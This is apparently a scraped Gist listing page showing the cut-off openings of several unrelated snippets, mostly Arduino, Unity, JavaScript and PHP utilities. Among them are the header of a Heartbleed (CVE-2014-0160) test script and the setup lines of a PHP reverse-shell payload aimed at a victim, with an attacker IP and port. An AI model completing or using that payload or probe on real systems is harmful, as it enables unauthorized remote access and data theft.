Skip to content

Instantly share code, notes, and snippets.

using UnityEngine;
using System.Collections;
public class AimAssist : MonoBehaviour {
void Start () {
}
void Update () {
Vector3 mouse_pos = Input.mousePosition;
#include <LEDDisplay.h>
LEDDisplay *led;
void setup()
{
int digitFlagPins[] = {10, 11};
int segmentPins[] = {2, 3, 4, 5 ,6 ,7 ,8, 9};
int decimalPointPin = 9;
led = new LEDDisplay(2, digitFlagPins, segmentPins, decimalPointPin);
#include <LEDDisplay.h>
LEDDisplay *led;
int millisecondsPerCount;
int counter;
unsigned long lastUpdate;
void setup()
{
millisecondsPerCount = 1000;
@rastating
rastating / a.js
Last active August 29, 2015 13:58 — forked from imjacobclark/a.js
function Calculator(){
this.add = function(num1, num2){
if(this.isNumber([num1,num2]) == false){
throw "error: invalid input to function.";
}else{
return num1 + num2;
}
}
@rastating
rastating / heartbleed_exploit_test.py
Created April 8, 2014 21:15
A script to test for the heartbleed exploit in OpenSSL
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
#!/usr/bin/env python
import os
import shlex
import struct
import platform
import subprocess
def get_terminal_size():
""" getTerminalSize()
<?php
function convert_id($id)
{
if (strlen($id) === 17)
{
$converted = substr($id, 3) - 61197960265728;
}
else
{
<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '192.168.1.189';
$port = 4444;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
const int redPin = 11;
const int greenPin = 10;
const int bluePin = 9;
void setup() {
// Start off with the LED off.
setColourRgb(0,0,0);
}
void loop() {
@rastating
rastating / gist:17347e00d4b434f50a81
Created February 15, 2015 01:08
Troublesome headers
header("Content-type: text/x-csv"); # DECLARING FILE TYPE
header("Content-Transfer-Encoding: binary");
header("Content-Disposition: attachment; filename=" . $csv_file_name); # EXPORT GENERATED CSV FILE
header("Pragma: no-cache");
header("Expires: 0");
print($CSV_FILE_CONTENT);